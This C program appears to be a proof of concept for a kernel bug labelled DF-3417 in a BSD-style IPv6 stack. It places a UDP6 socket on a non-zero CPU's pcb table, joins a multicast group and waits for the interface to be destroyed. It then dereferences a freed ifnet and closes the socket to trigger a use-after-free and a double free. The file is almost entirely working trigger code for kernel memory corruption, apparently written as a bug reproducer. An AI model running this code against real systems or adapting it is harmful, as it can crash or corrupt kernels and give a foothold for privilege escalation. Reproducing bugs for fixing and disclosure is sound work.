/*
 * DF-3417 PoC — in6_ifdetach() purges UDP6 socket moptions only from
 * udbinfo[0]; a UDP6 socket created on any other CPU keeps
 *   a) im6o->im6o_multicast_ifp  -> dangling ifnet pointer
 *   b) im6o->im6o_memberships    -> mship whose i6mm_maddr was kfree()d by
 *      the force-leave loop in in6_ifdetach_dispatch (in6_ifattach.c:820-826)
 * Closing the socket runs ip6_freemoptions() -> in6_delmulti(freed in6m)
 * -> UAF read of in6m_ifma / LIST_REMOVE write into freed chunk / kfree()
 * again (double free).
 *
 * usage:  mship <pcbcpu> <ifname>
 *   <pcbcpu> : desired udbinfo[] index; the pcb lands on
 *              udbinfo[ntohs(lport) % netisr_ncpus] after bind()
 *              (udp_usrreq.c:1395 udp_inswildcardhash -> in_pcblink),
 *              so we scan for a local port with that residue.
 *   1. pick port p with p % netisr.ncpus == <pcbcpu>, bind()
 *   2. IPV6_JOIN_GROUP ff1e::1%<ifname>  -> mship in im6o_memberships,
 *                                           in6_multi on in6_multihead
 *   3. IPV6_MULTICAST_IF <ifname>        -> im6o_multicast_ifp = raw ifp
 *   4. print READY, wait until the interface disappears
 *   5. getsockopt(IPV6_MULTICAST_IF)     -> deref of (possibly reused) freed
 *                                           ifnet; prints resulting index
 *   6. close(fd)                         -> ip6_freemoptions on stale mship
 *
 * control run: pcbcpu 0 -> purge clears everything, STALEIDX=0, clean close
 * test run:    pcbcpu 1 -> dangling pointers survive interface destroy
 */
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

int
main(int argc, char **argv)
{
	struct ipv6_mreq mreq;
	unsigned int mcif, got;
	socklen_t len;
	struct in6_addr grp;
	struct sockaddr_in6 bindaddr;
	size_t slen;
	int ncpus = 1;
	int port;
	long want;
	int s, r;

	if (argc != 3) {
		fprintf(stderr, "usage: %s <pcbcpu> <ifname>\n", argv[0]);
		return 2;
	}
	want = atol(argv[1]);
	slen = sizeof(ncpus);
	if (sysctlbyname("net.netisr.ncpus", &ncpus, &slen, NULL, 0) != 0)
		ncpus = 1;
	if (want >= ncpus) {
		fprintf(stderr, "want %ld but netisr.ncpus=%d\n", want, ncpus);
		return 2;
	}

	if ((s = socket(AF_INET6, SOCK_DGRAM, 0)) < 0) {
		perror("socket");
		return 2;
	}

	/* choose a local port whose hash lands the pcb on udbinfo[want] */
	for (port = 9100; port < 9400; port++) {
		if ((port % ncpus) == want)
			break;
	}
	memset(&bindaddr, 0, sizeof(bindaddr));
	bindaddr.sin6_family = AF_INET6;
	bindaddr.sin6_len = sizeof(bindaddr);
	bindaddr.sin6_addr = in6addr_any;
	bindaddr.sin6_port = htons(port);
	if (bind(s, (struct sockaddr *)&bindaddr, sizeof(bindaddr)) != 0) {
		fprintf(stderr, "bind(%d): %s\n", port, strerror(errno));
		return 2;
	}
	printf("BOUND port=%d (%% %d = %ld)\n", port, ncpus, want);
	fflush(stdout);

	if (inet_pton(AF_INET6, "ff1e::1", &grp) != 1) {
		perror("inet_pton");
		return 2;
	}

	memset(&mreq, 0, sizeof(mreq));
	mreq.ipv6mr_multiaddr = grp;
	mreq.ipv6mr_interface = if_nametoindex(argv[2]);
	if (mreq.ipv6mr_interface == 0) {
		fprintf(stderr, "if_nametoindex(%s): %s\n", argv[2],
		    strerror(errno));
		return 2;
	}
	if (setsockopt(s, IPPROTO_IPV6, IPV6_JOIN_GROUP, &mreq,
	    sizeof(mreq)) != 0) {
		fprintf(stderr, "JOIN_GROUP: %s\n", strerror(errno));
		return 2;
	}

	mcif = mreq.ipv6mr_interface;
	if (setsockopt(s, IPPROTO_IPV6, IPV6_MULTICAST_IF, &mcif,
	    sizeof(mcif)) != 0) {
		fprintf(stderr, "MULTICAST_IF: %s\n", strerror(errno));
		return 2;
	}

	printf("READY pcbcpu=%ld if=%s idx=%u\n", want, argv[2],
	    mreq.ipv6mr_interface);
	fflush(stdout);

	/* wait for the interface to be destroyed */
	while (if_nametoindex(argv[2]) != 0)
		usleep(20000);

	printf("IFACE-GONE\n");
	fflush(stdout);

	usleep(300000);	/* let if_detach fully finish */

	got = 0xdeadbeef;
	len = sizeof(got);
	r = getsockopt(s, IPPROTO_IPV6, IPV6_MULTICAST_IF, &got, &len);
	printf("STALEIDX r=%d val=0x%x (%s)\n", r, got,
	    r ? strerror(errno) : "ok");
	fflush(stdout);

	usleep(200000);
	printf("CLOSING\n");
	fflush(stdout);
	close(s);			/* <- ip6_freemoptions on stale mship */
	printf("CLOSED-OK\n");
	fflush(stdout);
	return 0;
}
